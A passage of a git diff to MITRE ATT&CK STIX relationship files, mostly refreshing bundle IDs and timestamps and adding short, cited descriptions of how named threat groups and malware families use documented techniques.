     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c",
             "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
diff --git a/enterprise-attack/relationship/relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0.json b/enterprise-attack/relationship/relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0.json
index 71ed35b953..723bc483a4 100644
--- a/enterprise-attack/relationship/relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0.json
+++ b/enterprise-attack/relationship/relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5614df09-d48e-4b6c-9446-7a66da876aca",
+    "id": "bundle--414d4c76-c314-4459-a7fd-ef57c1df362b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cb0ebed2-4cac-437b-b5b2-37ee716af3f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One persistence mechanism used by CozyCar is to register itself as a Windows service.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90.json b/enterprise-attack/relationship/relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90.json
index c566ad2227..d918400ec7 100644
--- a/enterprise-attack/relationship/relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90.json
+++ b/enterprise-attack/relationship/relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e9dc8dea-53d1-4335-925f-f58dd2166eee",
+    "id": "bundle--17dca862-521a-45fe-9a62-c6b4e6a5d3bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cb2d2f2d-face-430b-995d-c9bd35db5b90",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Suckfly has used stolen certificates to sign its malware.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
diff --git a/enterprise-attack/relationship/relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd.json b/enterprise-attack/relationship/relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd.json
index 8f25d89bca..6fd6d8d2c9 100644
--- a/enterprise-attack/relationship/relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd.json
+++ b/enterprise-attack/relationship/relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--91a7150d-5395-457d-825b-a51b15f9c5dc",
+    "id": "bundle--1a44c373-ffe5-4152-b0a0-b903afd3d052",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d",
             "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
diff --git a/enterprise-attack/relationship/relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5.json b/enterprise-attack/relationship/relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5.json
index ba25bc2479..40475608b6 100644
--- a/enterprise-attack/relationship/relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5.json
+++ b/enterprise-attack/relationship/relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--63e5e391-e620-4201-9908-4b6cb5698810",
+    "id": "bundle--a876fc04-8fa2-4a6b-b190-a6e10d6a2c78",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of Cherry Picker use AppInit_DLLs to achieve persistence by creating the following Registry key: <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"</code>",
             "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe",
diff --git a/enterprise-attack/relationship/relationship--cb69217e-f063-4093-bcf0-f051ecd42e25.json b/enterprise-attack/relationship/relationship--cb69217e-f063-4093-bcf0-f051ecd42e25.json
new file mode 100644
index 0000000000..d4990dcccb
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cb69217e-f063-4093-bcf0-f051ecd42e25.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--805fa693-92ed-48af-b96b-27a50d2d77fa",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cb69217e-f063-4093-bcf0-f051ecd42e25",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT28 deployed the open source tool Responder to conduct NetBIOS Name Service poisoning, which captured usernames and hashed passwords that allowed access to legitimate credentials.",
+            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
+            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT28",
+                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
+                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
+                },
+                {
+                    "source_name": "FireEye APT28 Hospitality Aug 2017",
+                    "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a.json b/enterprise-attack/relationship/relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a.json
index 446c251ccb..7138593064 100644
--- a/enterprise-attack/relationship/relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a.json
+++ b/enterprise-attack/relationship/relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--394e746f-9361-44f2-8b6d-b64b4d6bee53",
+    "id": "bundle--4241c783-c8eb-4cc0-b533-f1c7648c1298",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cbc4c186-028e-4a24-93ff-5f2bb7edd98a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader obfuscates files by splitting strings into smaller sub-strings and including \"garbage\" strings that are never used. The malware also uses return-oriented programming (ROP) technique and single-byte XOR to obfuscate data.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7.json b/enterprise-attack/relationship/relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7.json
index 285d8e471d..65f9e44708 100644
--- a/enterprise-attack/relationship/relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7.json
+++ b/enterprise-attack/relationship/relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c07963a8-4807-4847-aa5e-36ecacb268cd",
+    "id": "bundle--984d61ef-2c30-4f11-a10c-d172f6df54aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cc065036-1b46-4f5c-935e-fb80bd3de7c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OLDBAIT can use HTTP or SMTP for C2.",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
diff --git a/enterprise-attack/relationship/relationship--cc13f316-0f88-4ed1-8790-b13bc35be119.json b/enterprise-attack/relationship/relationship--cc13f316-0f88-4ed1-8790-b13bc35be119.json
new file mode 100644
index 0000000000..eaf718c2f7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cc13f316-0f88-4ed1-8790-b13bc35be119.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ff81f3c1-ecdd-4941-a131-055791d14bac",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cc13f316-0f88-4ed1-8790-b13bc35be119",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99.json b/enterprise-attack/relationship/relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99.json
index 66d481c03d..b48328f51b 100644
--- a/enterprise-attack/relationship/relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99.json
+++ b/enterprise-attack/relationship/relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4201d065-4e62-4b8b-a358-f1082faf7345",
+    "id": "bundle--7e7bf55e-ee89-416c-a024-207bde1d93c0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cc2099fb-4785-4884-b274-4f3e8a3b8d99",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL is capable of starting a process using CreateProcess.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9.json b/enterprise-attack/relationship/relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9.json
new file mode 100644
index 0000000000..3fa5bb7246
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--bbeadb2c-5bc6-428e-aa32-8779916c850c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "listed remote shared drives that were accessible from a victim.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cc705bf0-ba29-443e-9cd5-aef247505210.json b/enterprise-attack/relationship/relationship--cc705bf0-ba29-443e-9cd5-aef247505210.json
new file mode 100644
index 0000000000..dbd15027e7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cc705bf0-ba29-443e-9cd5-aef247505210.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5d41145c-add9-4765-bfa0-e247f769af17",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cc705bf0-ba29-443e-9cd5-aef247505210",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 places scripts in the startup folder for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "external_references": [
+                {
+                    "source_name": "FireEye Operation Double Tap",
+                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cc831c63-94af-4937-b8e6-668591ec7d04.json b/enterprise-attack/relationship/relationship--cc831c63-94af-4937-b8e6-668591ec7d04.json
index 9b94d0823f..075784f745 100644
--- a/enterprise-attack/relationship/relationship--cc831c63-94af-4937-b8e6-668591ec7d04.json
+++ b/enterprise-attack/relationship/relationship--cc831c63-94af-4937-b8e6-668591ec7d04.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--41d63ce2-3e52-43d4-8198-b30e936747c6",
+    "id": "bundle--bffe48df-e265-4a41-a3ee-49f604905a42",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cc831c63-94af-4937-b8e6-668591ec7d04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6.json b/enterprise-attack/relationship/relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6.json
index c858747c50..3ad8463b95 100644
--- a/enterprise-attack/relationship/relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6.json
+++ b/enterprise-attack/relationship/relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d3618b4a-0a1a-4f1a-a55c-1967a4ac20e2",
+    "id": "bundle--12ac0ba8-ecb3-4caa-80c6-152ae48a0682",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.017Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3",
             "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
diff --git a/enterprise-attack/relationship/relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0.json b/enterprise-attack/relationship/relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0.json
index c1ae18396c..e490821f99 100644
--- a/enterprise-attack/relationship/relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0.json
+++ b/enterprise-attack/relationship/relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4685d0a4-3e74-4959-85a2-1461c32ebce4",
+    "id": "bundle--c93815dc-a980-42b1-bc5d-39f4594cc90f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ccb67d98-71d6-4a26-86b6-281174ca07b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Kasidet has the ability to search for a given filename on a victim.",
             "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
diff --git a/enterprise-attack/relationship/relationship--ccc38b61-c517-4186-909a-760f12ef65e8.json b/enterprise-attack/relationship/relationship--ccc38b61-c517-4186-909a-760f12ef65e8.json
index 965129d056..90c91d2b32 100644
--- a/enterprise-attack/relationship/relationship--ccc38b61-c517-4186-909a-760f12ef65e8.json
+++ b/enterprise-attack/relationship/relationship--ccc38b61-c517-4186-909a-760f12ef65e8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4e21319-f242-4864-a00f-6b67e09cb6f3",
+    "id": "bundle--c350d6c4-f57a-4d75-bb01-cb03e75f7f8f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ccc38b61-c517-4186-909a-760f12ef65e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CORESHELL is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"",
             "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
diff --git a/enterprise-attack/relationship/relationship--cce31baa-5862-4df5-806f-15aaa7410fa5.json b/enterprise-attack/relationship/relationship--cce31baa-5862-4df5-806f-15aaa7410fa5.json
index 6f13cd6a8f..7711d7d266 100644
--- a/enterprise-attack/relationship/relationship--cce31baa-5862-4df5-806f-15aaa7410fa5.json
+++ b/enterprise-attack/relationship/relationship--cce31baa-5862-4df5-806f-15aaa7410fa5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--30b9ae16-3dd7-4c88-adce-d467437c4880",
+    "id": "bundle--4b0947e6-fb61-46ef-b1ef-21243f82c290",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cce31baa-5862-4df5-806f-15aaa7410fa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 has used CVE-2014-4076, CVE-2015-2387, and CVE-2015-1701 to escalate privileges, as well as CVE-2015-4902 to bypass security features.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c.json b/enterprise-attack/relationship/relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c.json
index 3fb1526bff..13009ce424 100644
--- a/enterprise-attack/relationship/relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c.json
+++ b/enterprise-attack/relationship/relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7fabd94-cc43-4e20-80ae-a62a957f66ca",
+    "id": "bundle--f48d6e7f-45df-49db-ad84-00e10bc090dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab adds a Registry Run key for ctfmon.exe to establish persistence.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e.json b/enterprise-attack/relationship/relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e.json
index d9c0ba2a4a..9f277ac793 100644
--- a/enterprise-attack/relationship/relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e.json
+++ b/enterprise-attack/relationship/relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b1a27ce-c9bf-4a0e-b3a6-31581898db08",
+    "id": "bundle--e606e2ef-465a-4521-a0ce-1437630428b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cd2a7854-1339-4f40-8ba1-be032dc5249e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The BlackEnergy 3 variant drops its main DLL component and then creates a .lnk shortcut to that file in the startup folder.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3.json b/enterprise-attack/relationship/relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3.json
index 59b1c63997..2580f7e733 100644
--- a/enterprise-attack/relationship/relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3.json
+++ b/enterprise-attack/relationship/relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97a367f7-7434-42f2-8d0a-4764066ecc26",
+    "id": "bundle--8e1d2fea-fd4d-4a24-a8b0-8531ec03e5f6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8",
             "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
diff --git a/enterprise-attack/relationship/relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5.json b/enterprise-attack/relationship/relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5.json
new file mode 100644
index 0000000000..a3e00a5a4f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a9f332d7-7ee5-4f0f-880a-2bcb744d3505",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cd58d271-9ee2-45d6-9ca3-22ae8da639b5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "A Helminth VBScript receives a batch script to execute a set of commands in a command prompt.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54.json b/enterprise-attack/relationship/relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54.json
new file mode 100644
index 0000000000..5bd2559f92
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dde72e99-3052-4f62-a21f-3d54366b3847",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
+            "external_references": [
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c.json b/enterprise-attack/relationship/relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c.json
index c174a1a042..2c057278ef 100644
--- a/enterprise-attack/relationship/relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c.json
+++ b/enterprise-attack/relationship/relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--943ec871-d450-447f-a37d-dc29cab3a286",
+    "id": "bundle--f827d0f6-0927-48f5-bf11-4d25a862d32c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cd79beea-20ee-4b4f-aad1-5cc34d27398c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
